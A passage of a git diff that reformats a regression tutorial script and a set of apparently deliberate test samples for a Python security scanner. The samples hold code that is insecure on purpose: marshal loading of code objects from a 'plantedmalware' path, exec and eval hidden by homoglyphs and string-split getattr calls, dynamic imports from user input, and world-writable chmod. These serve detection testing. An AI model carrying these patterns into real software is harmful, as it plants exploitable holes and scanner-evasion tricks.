-plt.xlabel('Epoch')
-#plt.tight_layout()
-#plt.savefig('images/10_05.png', dpi=300)
+plt.plot(range(1, lr.n_iter + 1), lr.cost_)
+plt.ylabel("SSE")
+plt.xlabel("Epoch")
+# plt.tight_layout()
+# plt.savefig('images/10_05.png', dpi=300)
 plt.show()
 
 
-
-
 def lin_regplot(X, y, model):
-    plt.scatter(X, y, c='steelblue', edgecolor='white', s=70)
-    plt.plot(X, model.predict(X), color='black', lw=2)    
-    return 
-
-
+    plt.scatter(X, y, c="steelblue", edgecolor="white", s=70)
+    plt.plot(X, model.predict(X), color="black", lw=2)
+    return
 
 
 lin_regplot(X_std, y_std, lr)
-plt.xlabel('Average number of rooms [RM] (standardized)')
-plt.ylabel('Price in $1000s [MEDV] (standardized)')
+plt.xlabel("Average number of rooms [RM] (standardized)")
+plt.ylabel("Price in $1000s [MEDV] (standardized)")
 
-#plt.savefig('images/10_06.png', dpi=300)
+# plt.savefig('images/10_06.png', dpi=300)
 plt.show()
 
 
-
-
-print('Slope: %.3f' % lr.w_[1])
-print('Intercept: %.3f' % lr.w_[0])
-
-
+print("Slope: %.3f" % lr.w_[1])
+print("Intercept: %.3f" % lr.w_[0])
 
 
 num_rooms_std = sc_x.transform(np.array([[5.0]]))
@@ -277,58 +249,48 @@ def lin_regplot(X, y, model):
 print("Price in $1000s: %.3f" % sc_y.inverse_transform(price_std))
 
 
-
 # ## Estimating the coefficient of a regression model via scikit-learn
 
 
-
-
-
-
-
 slr = LinearRegression()
 slr.fit(X, y)
 y_pred = slr.predict(X)
-print('Slope: %.3f' % slr.coef_[0])
-print('Intercept: %.3f' % slr.intercept_)
-
-
+print("Slope: %.3f" % slr.coef_[0])
+print("Intercept: %.3f" % slr.intercept_)
 
 
 lin_regplot(X, y, slr)
-plt.xlabel('Average number of rooms [RM]')
-plt.ylabel('Price in $1000s [MEDV]')
+plt.xlabel("Average number of rooms [RM]")
+plt.ylabel("Price in $1000s [MEDV]")
 
-#plt.savefig('images/10_07.png', dpi=300)
+# plt.savefig('images/10_07.png', dpi=300)
 plt.show()
 
 
 # **Normal Equations** alternative:
 
 
-
 # adding a column vector of "ones"
 Xb = np.hstack((np.ones((X.shape[0], 1)), X))
 w = np.zeros(X.shape[1])
 z = np.linalg.inv(np.dot(Xb.T, Xb))
 w = np.dot(z, np.dot(Xb.T, y))
 
-print('Slope: %.3f' % w[1])
-print('Intercept: %.3f' % w[0])
-
+print("Slope: %.3f" % w[1])
+print("Intercept: %.3f" % w[0])
 
 
 # # Fitting a robust regression model using RANSAC
 
 
-
-
-ransac = RANSACRegressor(LinearRegression(), 
-                         max_trials=100, 
-                         min_samples=50, 
-                         loss='absolute_loss', 
-                         residual_threshold=5.0, 
-                         random_state=0)
+ransac = RANSACRegressor(
+    LinearRegression(),
+    max_trials=100,
+    min_samples=50,
+    loss="absolute_loss",
+    residual_threshold=5.0,
+    random_state=0,
+)
 
 
 ransac.fit(X, y)
@@ -338,40 +300,42 @@ def lin_regplot(X, y, model):
 
 line_X = np.arange(3, 10, 1)
 line_y_ransac = ransac.predict(line_X[:, np.newaxis])
-plt.scatter(X[inlier_mask], y[inlier_mask],
-            c='steelblue', edgecolor='white', 
-            marker='o', label='Inliers')
-plt.scatter(X[outlier_mask], y[outlier_mask],
-            c='limegreen', edgecolor='white', 
-            marker='s', label='Outliers')
-plt.plot(line_X, line_y_ransac, color='black', lw=2)   
-plt.xlabel('Average number of rooms [RM]')
-plt.ylabel('Price in $1000s [MEDV]')
-plt.legend(loc='upper left')
-
-#plt.savefig('images/10_08.png', dpi=300)
+plt.scatter(
+    X[inlier_mask],
+    y[inlier_mask],
+    c="steelblue",
+    edgecolor="white",
+    marker="o",
+    label="Inliers",
+)
+plt.scatter(
+    X[outlier_mask],
+    y[outlier_mask],
+    c="limegreen",
+    edgecolor="white",
+    marker="s",
+    label="Outliers",
+)
+plt.plot(line_X, line_y_ransac, color="black", lw=2)
+plt.xlabel("Average number of rooms [RM]")
+plt.ylabel("Price in $1000s [MEDV]")
+plt.legend(loc="upper left")
+
+# plt.savefig('images/10_08.png', dpi=300)
 plt.show()
 
 
-
-
-print('Slope: %.3f' % ransac.estimator_.coef_[0])
-print('Intercept: %.3f' % ransac.estimator_.intercept_)
-
+print("Slope: %.3f" % ransac.estimator_.coef_[0])
+print("Intercept: %.3f" % ransac.estimator_.intercept_)
 
 
 # # Evaluating the performance of linear regression models
 
 
-
-
 X = df.iloc[:, :-1].values
-y = df['MEDV'].values
-
-X_train, X_test, y_train, y_test = train_test_split(
-    X, y, test_size=0.3, random_state=0)
-
+y = df["MEDV"].values
 
+X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0)
 
 
 slr = LinearRegression()
@@ -381,36 +345,29 @@ def lin_regplot(X, y, model):
 y_test_pred = slr.predict(X_test)
 
 
-
-
-
 ary = np.array(range(100000))
 
 
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-plt.scatter(y_train_pred,  y_train_pred - y_train,
-            c='steelblue', marker='o', edgecolor='white',
-            label='Training data')
-plt.scatter(y_test_pred,  y_test_pred - y_test,
-            c='limegreen', marker='s', edgecolor='white',
-            label='Test data')
-plt.xlabel('Predicted values')
-plt.ylabel('Residuals')
-plt.legend(loc='upper left')
-plt.hlines(y=0, xmin=-10, xmax=50, color='black', lw=2)
+plt.scatter(
+    y_train_pred,
+    y_train_pred - y_train,
+    c="steelblue",
+    marker="o",
+    edgecolor="white",
+    label="Training data",
+)
+plt.scatter(
+    y_test_pred,
+    y_test_pred - y_test,
+    c="limegreen",
+    marker="s",
+    edgecolor="white",
+    label="Test data",
+)
+plt.xlabel("Predicted values")
+plt.ylabel("Residuals")
+plt.legend(loc="upper left")
+plt.hlines(y=0, xmin=-10, xmax=50, color="black", lw=2)
 plt.xlim([-10, 50])
 plt.tight_layout()
 
@@ -418,23 +375,22 @@ def lin_regplot(X, y, model):
 plt.show()
 
 
-
-
-
-print('MSE train: %.3f, test: %.3f' % (
+print(
+    "MSE train: %.3f, test: %.3f"
+    % (
         mean_squared_error(y_train, y_train_pred),
-        mean_squared_error(y_test, y_test_pred)))
-print('R^2 train: %.3f, test: %.3f' % (
-        r2_score(y_train, y_train_pred),
-        r2_score(y_test, y_test_pred)))
-
+        mean_squared_error(y_test, y_test_pred),
+    )
+)
+print(
+    "R^2 train: %.3f, test: %.3f"
+    % (r2_score(y_train, y_train_pred), r2_score(y_test, y_test_pred))
+)
 
 
 # # Using regularized methods for regression
 
 
-
-
 lasso = Lasso(alpha=0.1)
 lasso.fit(X_train, y_train)
 y_train_pred = lasso.predict(X_train)
@@ -442,54 +398,45 @@ def lin_regplot(X, y, model):
 print(lasso.coef_)
 
 
-
-
-print('MSE train: %.3f, test: %.3f' % (
+print(
+    "MSE train: %.3f, test: %.3f"
+    % (
         mean_squared_error(y_train, y_train_pred),
-        mean_squared_error(y_test, y_test_pred)))
-print('R^2 train: %.3f, test: %.3f' % (
-        r2_score(y_train, y_train_pred),
-        r2_score(y_test, y_test_pred)))
+        mean_squared_error(y_test, y_test_pred),
+    )
+)
+print(
+    "R^2 train: %.3f, test: %.3f"
+    % (r2_score(y_train, y_train_pred), r2_score(y_test, y_test_pred))
+)
 
 
 # Ridge regression:
 
 
-
 ridge = Ridge(alpha=1.0)
 
 
 # LASSO regression:
 
 
-
 lasso = Lasso(alpha=1.0)
 
 
 # Elastic Net regression:
 
 
-
 elanet = ElasticNet(alpha=1.0, l1_ratio=0.5)
 
 
-
 # # Turning a linear regression model into a curve - polynomial regression
 
 
+X = np.array([258.0, 270.0, 294.0, 320.0, 342.0, 368.0, 396.0, 446.0, 480.0, 586.0])[
+    :, np.newaxis
+]
 
-X = np.array([258.0, 270.0, 294.0, 
-              320.0, 342.0, 368.0, 
-              396.0, 446.0, 480.0, 586.0])\
-             [:, np.newaxis]
-
-y = np.array([236.4, 234.4, 252.8, 
-              298.6, 314.2, 342.2, 
-              360.8, 368.0, 391.2,
-              390.8])
-
-
-
+y = np.array([236.4, 234.4, 252.8, 298.6, 314.2, 342.2, 360.8, 368.0, 391.2, 390.8])
 
 
 lr = LinearRegression()
@@ -498,8 +445,6 @@ def lin_regplot(X, y, model):
 X_quad = quadratic.fit_transform(X)
 
 
-
-
 # fit linear features
 lr.fit(X, y)
 X_fit = np.arange(250, 600, 10)[:, np.newaxis]
@@ -510,39 +455,35 @@ def lin_regplot(X, y, model):
 y_quad_fit = pr.predict(quadratic.fit_transform(X_fit))
 
 # plot results
-plt.scatter(X, y, label='training points')
-plt.plot(X_fit, y_lin_fit, label='linear fit', linestyle='--')
-plt.plot(X_fit, y_quad_fit, label='quadratic fit')
-plt.legend(loc='upper left')
+plt.scatter(X, y, label="training points")
+plt.plot(X_fit, y_lin_fit, label="linear fit", linestyle="--")
+plt.plot(X_fit, y_quad_fit, label="quadratic fit")
+plt.legend(loc="upper left")
 
 plt.tight_layout()
-#plt.savefig('images/10_10.png', dpi=300)
+# plt.savefig('images/10_10.png', dpi=300)
 plt.show()
 
 
-
-
 y_lin_pred = lr.predict(X)
 y_quad_pred = pr.predict(X_quad)
 
 
-
-
-print('Training MSE linear: %.3f, quadratic: %.3f' % (
-        mean_squared_error(y, y_lin_pred),
-        mean_squared_error(y, y_quad_pred)))
-print('Training R^2 linear: %.3f, quadratic: %.3f' % (
-        r2_score(y, y_lin_pred),
-        r2_score(y, y_quad_pred)))
-
+print(
+    "Training MSE linear: %.3f, quadratic: %.3f"
+    % (mean_squared_error(y, y_lin_pred), mean_squared_error(y, y_quad_pred))
+)
+print(
+    "Training R^2 linear: %.3f, quadratic: %.3f"
+    % (r2_score(y, y_lin_pred), r2_score(y, y_quad_pred))
+)
 
 
 # ## Modeling nonlinear relationships in the Housing Dataset
 
 
-
-X = df[['LSTAT']].values
-y = df['MEDV'].values
+X = df[["LSTAT"]].values
+y = df["MEDV"].values
 
 regr = LinearRegression()
 
@@ -569,70 +510,76 @@ def lin_regplot(X, y, model):
 
 
 # plot results
-plt.scatter(X, y, label='training points', color='lightgray')
-
-plt.plot(X_fit, y_lin_fit, 
-         label='linear (d=1), $R^2=%.2f$' % linear_r2, 
-         color='blue', 
-         lw=2, 
-         linestyle=':')
-
-plt.plot(X_fit, y_quad_fit, 
-         label='quadratic (d=2), $R^2=%.2f$' % quadratic_r2,
-         color='red', 
-         lw=2,
-         linestyle='-')
-
-plt.plot(X_fit, y_cubic_fit, 
-         label='cubic (d=3), $R^2=%.2f$' % cubic_r2,
-         color='green', 
-         lw=2, 
-         linestyle='--')
-
-plt.xlabel('% lower status of the population [LSTAT]')
-plt.ylabel('Price in $1000s [MEDV]')
-plt.legend(loc='upper right')
-
-#plt.savefig('images/10_11.png', dpi=300)
+plt.scatter(X, y, label="training points", color="lightgray")
+
+plt.plot(
+    X_fit,
+    y_lin_fit,
+    label="linear (d=1), $R^2=%.2f$" % linear_r2,
+    color="blue",
+    lw=2,
+    linestyle=":",
+)
+
+plt.plot(
+    X_fit,
+    y_quad_fit,
+    label="quadratic (d=2), $R^2=%.2f$" % quadratic_r2,
+    color="red",
+    lw=2,
+    linestyle="-",
+)
+
+plt.plot(
+    X_fit,
+    y_cubic_fit,
+    label="cubic (d=3), $R^2=%.2f$" % cubic_r2,
+    color="green",
+    lw=2,
+    linestyle="--",
+)
+
+plt.xlabel("% lower status of the population [LSTAT]")
+plt.ylabel("Price in $1000s [MEDV]")
+plt.legend(loc="upper right")
+
+# plt.savefig('images/10_11.png', dpi=300)
 plt.show()
 
 
 # Transforming the dataset:
 
 
-
-X = df[['LSTAT']].values
-y = df['MEDV'].values
+X = df[["LSTAT"]].values
+y = df["MEDV"].values
 
 # transform features
 X_log = np.log(X)
 y_sqrt = np.sqrt(y)
 
 # fit features
-X_fit = np.arange(X_log.min()-1, X_log.max()+1, 1)[:, np.newaxis]
+X_fit = np.arange(X_log.min() - 1, X_log.max() + 1, 1)[:, np.newaxis]
 
 regr = regr.fit(X_log, y_sqrt)
 y_lin_fit = regr.predict(X_fit)
 linear_r2 = r2_score(y_sqrt, regr.predict(X_log))
 
 # plot results
-plt.scatter(X_log, y_sqrt, label='training points', color='lightgray')
+plt.scatter(X_log, y_sqrt, label="training points", color="lightgray")
 
-plt.plot(X_fit, y_lin_fit, 
-         label='linear (d=1), $R^2=%.2f$' % linear_r2, 
-         color='blue', 
-         lw=2)
+plt.plot(
+    X_fit, y_lin_fit, label="linear (d=1), $R^2=%.2f$" % linear_r2, color="blue", lw=2
+)
 
-plt.xlabel('log(% lower status of the population [LSTAT])')
-plt.ylabel('$\sqrt{Price \; in \; \$1000s \; [MEDV]}$')
-plt.legend(loc='lower left')
+plt.xlabel("log(% lower status of the population [LSTAT])")
+plt.ylabel("$\sqrt{Price \; in \; \$1000s \; [MEDV]}$")
+plt.legend(loc="lower left")
 
 plt.tight_layout()
-#plt.savefig('images/10_12.png', dpi=300)
+# plt.savefig('images/10_12.png', dpi=300)
 plt.show()
 
 
-
 # # Dealing with nonlinear relationships using random forests
 
 # ...
@@ -640,10 +587,8 @@ def lin_regplot(X, y, model):
 # ## Decision tree regression
 
 
-
-
-X = df[['LSTAT']].values
-y = df['MEDV'].values
+X = df[["LSTAT"]].values
+y = df["MEDV"].values
 
 tree = DecisionTreeRegressor(max_depth=3)
 tree.fit(X, y)
@@ -651,66 +596,66 @@ def lin_regplot(X, y, model):
 sort_idx = X.flatten().argsort()
 
 lin_regplot(X[sort_idx], y[sort_idx], tree)
-plt.xlabel('% lower status of the population [LSTAT]')
-plt.ylabel('Price in $1000s [MEDV]')
-#plt.savefig('images/10_13.png', dpi=300)
+plt.xlabel("% lower status of the population [LSTAT]")
+plt.ylabel("Price in $1000s [MEDV]")
+# plt.savefig('images/10_13.png', dpi=300)
 plt.show()
 
 
-
 # ## Random forest regression
 
 
-
 X = df.iloc[:, :-1].values
-y = df['MEDV'].values
+y = df["MEDV"].values
 
-X_train, X_test, y_train, y_test = train_test_split(
-    X, y, test_size=0.4, random_state=1)
+X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=1)
 
 
-
-
-
-forest = RandomForestRegressor(n_estimators=1000, 
-                               criterion='mse', 
-                               random_state=1, 
-                               n_jobs=-1)
+forest = RandomForestRegressor(
+    n_estimators=1000, criterion="mse", random_state=1, n_jobs=-1
+)
 forest.fit(X_train, y_train)
 y_train_pred = forest.predict(X_train)
 y_test_pred = forest.predict(X_test)
 
-print('MSE train: %.3f, test: %.3f' % (
+print(
+    "MSE train: %.3f, test: %.3f"
+    % (
         mean_squared_error(y_train, y_train_pred),
-        mean_squared_error(y_test, y_test_pred)))
-print('R^2 train: %.3f, test: %.3f' % (
-        r2_score(y_train, y_train_pred),
-        r2_score(y_test, y_test_pred)))
-
-
-
-
-plt.scatter(y_train_pred,  
-            y_train_pred - y_train, 
-            c='steelblue',
-            edgecolor='white',
-            marker='o', 
-            s=35,
-            alpha=0.9,
-            label='training data')
-plt.scatter(y_test_pred,  
-            y_test_pred - y_test, 
-            c='limegreen',
-            edgecolor='white',
-            marker='s', 
-            s=35,
-            alpha=0.9,
-            label='test data')
-
-plt.xlabel('Predicted values')
-plt.ylabel('Residuals')
-plt.legend(loc='upper left')
-plt.hlines(y=0, xmin=-10, xmax=50, lw=2, color='black')
+        mean_squared_error(y_test, y_test_pred),
+    )
+)
+print(
+    "R^2 train: %.3f, test: %.3f"
+    % (r2_score(y_train, y_train_pred), r2_score(y_test, y_test_pred))
+)
+
+
+plt.scatter(
+    y_train_pred,
+    y_train_pred - y_train,
+    c="steelblue",
+    edgecolor="white",
+    marker="o",
+    s=35,
+    alpha=0.9,
+    label="training data",
+)
+plt.scatter(
+    y_test_pred,
+    y_test_pred - y_test,
+    c="limegreen",
+    edgecolor="white",
+    marker="s",
+    s=35,
+    alpha=0.9,
+    label="test data",
+)
+
+plt.xlabel("Predicted values")
+plt.ylabel("Residuals")
+plt.legend(loc="upper left")
+plt.hlines(y=0, xmin=-10, xmax=50, lw=2, color="black")
 plt.xlim([-10, 50])
 plt.tight_layout()
 
@@ -718,15 +663,10 @@ def lin_regplot(X, y, model):
 plt.show()
 
 
-
 # # Summary
 
 # ...
 
 # ---
-# 
+#
 # Readers may ignore the next cell.
-
-
-
-
diff --git a/tests/validationfiles/gzip.py b/tests/validationfiles/gzip.py
index fc5bd88..5b3d3df 100644
--- a/tests/validationfiles/gzip.py
+++ b/tests/validationfiles/gzip.py
@@ -1,7 +1,7 @@
 import gzip
 
 content = b"Lots of content here"
-with gzip.open('/home/joe/file.txt.gz', 'wb') as f:
+with gzip.open("/home/joe/file.txt.gz", "wb") as f:
     f.write(content)
 
 
@@ -14,8 +14,8 @@
 
 print(f"Content read from the file: '{read_data}'")
 
-#now with the class function
-with bz2.BZ2File("demo.bz2", mode='r') as f:
+# now with the class function
+with bz2.BZ2File("demo.bz2", mode="r") as f:
     content = f.read()
 
 import lzma
@@ -27,24 +27,23 @@
 print(f"Original data: {data}\n")
 
 # Compress and write data to a file
-with lzma.open(compressed_filename, 'wb') as f:
+with lzma.open(compressed_filename, "wb") as f:
     f.write(data)
 
 print("Data has been compressed and written to 'example.xz'.")
 
 # Decompress and read data from the file
-with lzma.open(compressed_filename, 'rb') as f:
+with lzma.open(compressed_filename, "rb") as f:
     decompressed_data = f.read()
 
 print(f"Decompressed data: {decompressed_data}")
 
 # You would need to manually delete 'example.xz' after running this code.
 
-#Reading using lzma.LZMAFILE class
+# Reading using lzma.LZMAFILE class
 
 
-with lzma.LZMAFile("demo.xz", mode='r') as f:
+with lzma.LZMAFile("demo.xz", mode="r") as f:
     content = f.read()
 
 print(f"Content read from the file: {content.decode()}")
-
diff --git a/tests/validationfiles/hashcheck.py b/tests/validationfiles/hashcheck.py
index 43c4ad8..8393d88 100644
--- a/tests/validationfiles/hashcheck.py
+++ b/tests/validationfiles/hashcheck.py
@@ -1,56 +1,57 @@
-"""Check on insecure hash usage """
+"""Check on insecure hash usage"""
 
-import hashlib 
+import hashlib
 
-def calculate_md5_hash(input_string):
-  """
-  Calculates the MD5 hash of a given string.
 
-  Args:
-    input_string: The string to be hashed.
+def calculate_md5_hash(input_string):
+    """
+    Calculates the MD5 hash of a given string.
 
-  Returns:
-    A hexadecimal string representing the MD5 hash.
-  """
-  # Encode the input string to bytes, as hashlib functions require bytes
-  encoded_string = input_string.encode('utf-8')
+    Args:
+      input_string: The string to be hashed.
 
-  # Create an MD5 hash object
-  md5_hash_object = hashlib.md5()
-  sha1_hash_object = hashlib.sha1()
+    Returns:
+      A hexadecimal string representing the MD5 hash.
+    """
+    # Encode the input string to bytes, as hashlib functions require bytes
+    encoded_string = input_string.encode("utf-8")
 
+    # Create an MD5 hash object
+    md5_hash_object = hashlib.md5()
+    sha1_hash_object = hashlib.sha1()
 
-  # Update the hash object with the encoded string
-  md5_hash_object.update(encoded_string)
+    # Update the hash object with the encoded string
+    md5_hash_object.update(encoded_string)
 
-  # Get the hexadecimal representation of the hash
-  hex_digest = md5_hash_object.hexdigest()
+    # Get the hexadecimal representation of the hash
+    hex_digest = md5_hash_object.hexdigest()
 
-  return hex_digest
+    return hex_digest
 
 
 from hashlib import sha1 as tooweak
 
+
 def calculate_hash(input_string):
-  """
-  Calculates the MD5 hash of a given string.
+    """
+    Calculates the MD5 hash of a given string.
 
-  Args:
-    input_string: The string to be hashed.
+    Args:
+      input_string: The string to be hashed.
 
-  Returns:
-    A hexadecimal string representing the MD5 hash.
-  """
-  # Encode the input string to bytes, as hashlib functions require bytes
-  encoded_string = input_string.encode('utf-8')
+    Returns:
+      A hexadecimal string representing the MD5 hash.
+    """
+    # Encode the input string to bytes, as hashlib functions require bytes
+    encoded_string = input_string.encode("utf-8")
 
-  # Create an MD5 hash object
-  sha1_hash_object = tooweak()
+    # Create an MD5 hash object
+    sha1_hash_object = tooweak()
 
-  # Update the hash object with the encoded string
-  sha1_hash_object.update(encoded_string)
+    # Update the hash object with the encoded string
+    sha1_hash_object.update(encoded_string)
 
-  # Get the hexadecimal representation of the hash
-  hex_digest = sha1_hash_object.hexdigest()
+    # Get the hexadecimal representation of the hash
+    hex_digest = sha1_hash_object.hexdigest()
 
-  return hex_digest
+    return hex_digest
diff --git a/tests/validationfiles/httpserver.py b/tests/validationfiles/httpserver.py
index b4a47f0..4d8371b 100644
--- a/tests/validationfiles/httpserver.py
+++ b/tests/validationfiles/httpserver.py
@@ -1,24 +1,27 @@
 from http.server import BaseHTTPRequestHandler, HTTPServer
 
+
 # Define a custom request handler
 class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
     """
     A simple HTTP request handler that responds to GET requests.
     """
+
     def do_GET(self):
         """
         Handles GET requests by sending a 200 OK response
         and "Hello, World!" as the body.
         """
         self.send_response(200)  # Send HTTP status code 200 (OK)
-        self.send_header('Content-type', 'text/html') # Set the content type header
-        self.end_headers() # End the headers section
+        self.send_header("Content-type", "text/html")  # Set the content type header
+        self.end_headers()  # End the headers section
 
         # The message to send back to the client
         message = "Hello, World!"
         # Write the message to the response body, encoded as bytes
         self.wfile.write(bytes(message, "utf8"))
 
+
 # The function to run the HTTP server
 def run(server_class=HTTPServer, handler_class=BaseHTTPRequestHandler):
     """
@@ -28,8 +31,12 @@ def run(server_class=HTTPServer, handler_class=BaseHTTPRequestHandler):
         server_class: The server class to use (default: HTTPServer).
         handler_class: The handler class to use (default: BaseHTTPRequestHandler).
     """
-    server_address = ('', 8000) # Server will listen on all available interfaces on port 8000
-    httpd = server_class(server_address, handler_class) # Create an instance of the HTTP server
+    server_address = (
+        "",
+        8000,
+    )  # Server will listen on all available interfaces on port 8000
+    httpd = server_class(
+        server_address, handler_class
+    )  # Create an instance of the HTTP server
     print(f"Starting httpd server on port {server_address[1]}...")
-    httpd.serve_forever() # Start the server and keep it running indefinitely
-    
\ No newline at end of file
+    httpd.serve_forever()  # Start the server and keep it running indefinitely
diff --git a/tests/validationfiles/inputstatement.py b/tests/validationfiles/inputstatement.py
index 05fccc0..626d22f 100644
--- a/tests/validationfiles/inputstatement.py
+++ b/tests/validationfiles/inputstatement.py
@@ -2,6 +2,7 @@
 Mind 100% sanitizing is often impossible - so there is always a risk.
 """
 
+
 def greet_user():
     name = input("What is your name? ")
     print(f"Hello, {name}!")
diff --git a/tests/validationfiles/marshal.py b/tests/validationfiles/marshal.py
index 5987163..842a51f 100644
--- a/tests/validationfiles/marshal.py
+++ b/tests/validationfiles/marshal.py
@@ -2,6 +2,7 @@
 import os
 import sys
 
+
 def load_marshalled_data(filepath: str, allow_code: bool = False):
     """
     Loads data from a marshalled file using marshal.load().
@@ -26,22 +27,28 @@ def load_marshalled_data(filepath: str, allow_code: bool = False):
     """
     if not os.path.exists(filepath):
         raise FileNotFoundError(f"Error: File not found at '{filepath}'")
-     
-    nastyobjects = marshal.loads('/tmp/plantedmalware.obj', allow_code=True)
+
+    nastyobjects = marshal.loads("/tmp/plantedmalware.obj", allow_code=True)
     print(nastyobjects)
 
     try:
-        with open(filepath, 'rb') as f:
+        with open(filepath, "rb") as f:
             # The allow_code parameter is passed directly to marshal.load()
             loaded_object = marshal.load(f, allow_code=allow_code)
         return loaded_object
     except ValueError as e:
-        print(f"Error loading marshalled data: {e}. "
-              f"This might be due to 'allow_code=False' and the file containing code objects.", file=sys.stderr)
+        print(
+            f"Error loading marshalled data: {e}. "
+            f"This might be due to 'allow_code=False' and the file containing code objects.",
+            file=sys.stderr,
+        )
         raise
     except EOFError:
         print(f"Error: File '{filepath}' is empty or truncated.", file=sys.stderr)
         raise
     except Exception as e:
-        print(f"An unexpected error occurred while loading '{filepath}': {e}", file=sys.stderr)
+        print(
+            f"An unexpected error occurred while loading '{filepath}': {e}",
+            file=sys.stderr,
+        )
         raise
diff --git a/tests/validationfiles/modulecheck.py b/tests/validationfiles/modulecheck.py
index 4fd5b40..48b66db 100644
--- a/tests/validationfiles/modulecheck.py
+++ b/tests/validationfiles/modulecheck.py
@@ -1,14 +1,18 @@
 """Sample file for module check"""
 
-import linkaudit #has no data in OSV DB
-import pandas #has some minor data in OSV
-import requests #has lots of OSV data
-#import numpy #has lots of OSV data! (a lot!!) 
-
+import csv
 import os
 import random
-import csv
+
+import linkaudit  # has no data in OSV DB
+import pandas  # has some minor data in OSV
+import requests  # has lots of OSV data
+
+# import numpy #has lots of OSV data! (a lot!!)
+
 
 def donothing():
-    print('no way!')
-    os.chmod('ooooooooooooono.txt',0x777) #this will give an alert on codeaudit filescan!
\ No newline at end of file
+    print("no way!")
+    os.chmod(
+        "ooooooooooooono.txt", 0x777
+    )  # this will give an alert on codeaudit filescan!
diff --git a/tests/validationfiles/multiprocessing.py b/tests/validationfiles/multiprocessing.py
index c428f1a..fe97edb 100644
--- a/tests/validationfiles/multiprocessing.py
+++ b/tests/validationfiles/multiprocessing.py
@@ -1,47 +1,52 @@
-
 import multiprocessing
 import time
 
+
 def sender_process(connection, message):
     """
     This function runs in a separate process and sends a message
     through the provided Connection object.
     """
     print(f"Sender process: Sending '{message}'")
-    connection.send(message) # Send the message through the connection
-    connection.close() # Close the connection after sending
+    connection.send(message)  # Send the message through the connection
+    connection.close()  # Close the connection after sending
     print("Sender process: Message sent and connection closed.")
 
+
 def receiver_process(connection):
     """
-    This function runs in a separate process and receives data    
+    This function runs in a separate process and receives data
     """
-    print("Receiver process: Waiting to receive data...")    
+    print("Receiver process: Waiting to receive data...")
     received_data = connection.recv()
     print(f"Receiver process: Received '{received_data}'")
-    connection.close() # Close the connection after receiving
+    connection.close()  # Close the connection after receiving
     print("Receiver process: Connection closed.")
 
-from multiprocessing import Process, Pipe
 
+from multiprocessing import Pipe, Process
 
 
 def f(conn):
-    conn.send([42, None, 'hello'])
+    conn.send([42, None, "hello"])
     conn.close()
 
+
 def check_again():
     parent_conn, child_conn = Pipe()
     p = Process(target=f, args=(child_conn,))
     p.start()
-    print(parent_conn.recv())   # prints "[42, None, 'hello']"
+    print(parent_conn.recv())  # prints "[42, None, 'hello']"
     p.join()
 
+
 from multiprocessing.connection import Connection
 
+
 def receive_data(conn: Connection):
     data = conn.recv()
     return data
 
+
 def not_connection(obj):
-    return obj.recv()
\ No newline at end of file
+    return obj.recv()
diff --git a/tests/validationfiles/obfuscating.py b/tests/validationfiles/obfuscating.py
index b9db1c4..9d1c1a4 100644
--- a/tests/validationfiles/obfuscating.py
+++ b/tests/validationfiles/obfuscating.py
@@ -1,6 +1,7 @@
-#Example of obfuscating dangerous constructs that are hard to find!
+# Example of obfuscating dangerous constructs that are hard to find!
 
 import builtins
+
 b = builtins
 b.exec("2+2")
 
@@ -8,47 +9,60 @@
 print(result)  # 3
 
 x = 1
-eval('x+1')
+eval("x+1")
 
-#now test for obfuscating with exec 
+# now test for obfuscating with exec
 variables = {}
 # Execute the code and store the result in the 'variables' dictionary - The exec return value is None, so we store the result
-b.exec('result = x + 1', {'x': x}, variables)
+b.exec("result = x + 1", {"x": x}, variables)
 # The result is now accessible in the 'variables' dictionary
-print(variables['result'])
+print(variables["result"])
 
 
-ℯ𝓍ℯ𝒸("print(2 + 2)")  #Confusable homoglyphs - proper AST parsing will be detect this as a regular exec call. When regexes are used (as done in a lot of SAST checkers), the input must be normalized first. Python Code Audit detects this!
+ℯ𝓍ℯ𝒸(
+    "print(2 + 2)"
+)  # Confusable homoglyphs - proper AST parsing will be detect this as a regular exec call. When regexes are used (as done in a lot of SAST checkers), the input must be normalized first. Python Code Audit detects this!
 
 
 c = builtins
-result = c.input('number?')  #Input should not be obfuscated. Code Audit will detect this!
+result = c.input(
+    "number?"
+)  # Input should not be obfuscated. Code Audit will detect this!
 print(result)
 
 number = input("number to find a security issue?")
 
 d = builtins
-code_obj = d.compile('x = 5*5\nprint(x)', '<string>', 'exec')
-result = d.exec(code_obj)  #Input should not be obfuscated. Code Audit will detect this!
+code_obj = d.compile("x = 5*5\nprint(x)", "<string>", "exec")
+result = d.exec(
+    code_obj
+)  # Input should not be obfuscated. Code Audit will detect this!
 print(result)
 
 e = builtins
-__import__("builtins").exec("2+2") # This is by default detected by Code Audit
-__import__("builtins").e.exec("2+2") # This is by default detected by Code Audit
+__import__("builtins").exec("2+2")  # This is by default detected by Code Audit
+__import__("builtins").e.exec("2+2")  # This is by default detected by Code Audit
 
 
-result = __import__("builtins").eval("2+2")  #The __import__ should NOT be used in normal Python programs, see doc https://docs.python.org/3/library/functions.html#import__
+result = __import__("builtins").eval(
+    "2+2"
+)  # The __import__ should NOT be used in normal Python programs, see doc https://docs.python.org/3/library/functions.html#import__
 print(result)
 
 
-result = getattr(__import__("built"+"ins"),"ev"+"al")("2+2") #Is detected since __import is used"
+result = getattr(__import__("built" + "ins"), "ev" + "al")(
+    "2+2"
+)  # Is detected since __import is used"
 print(result)
 
-result = getattr(__import__("built"+"ins"),"ex"+"ec")("2+2")
+result = getattr(__import__("built" + "ins"), "ex" + "ec")("2+2")
 print(result)
 
 import importlib
-#dynamic modules import SHOULD be validated! Never trust, always...
+
+# dynamic modules import SHOULD be validated! Never trust, always...
 user_input = input("Enter a module name to import: ")
-my_module = importlib.import_module(user_input) #This what you NEVER want, but in practice programs using importlib use dynamic imports. Always understand the code before executing!
-print(f"Successfully imported the {my_module.__name__} module.")
\ No newline at end of file
+my_module = importlib.import_module(
+    user_input
+)  # This what you NEVER want, but in practice programs using importlib use dynamic imports. Always understand the code before executing!
+print(f"Successfully imported the {my_module.__name__} module.")
diff --git a/tests/validationfiles/oschecks.py b/tests/validationfiles/oschecks.py
index 648880a..c7fe1db 100644
--- a/tests/validationfiles/oschecks.py
+++ b/tests/validationfiles/oschecks.py
@@ -1,6 +1,7 @@
+import os
+from os import access as check_access
+
 
-from os import access as check_access 
-import os 
 def nogood():
     if check_access("file.txt", os.R_OK):
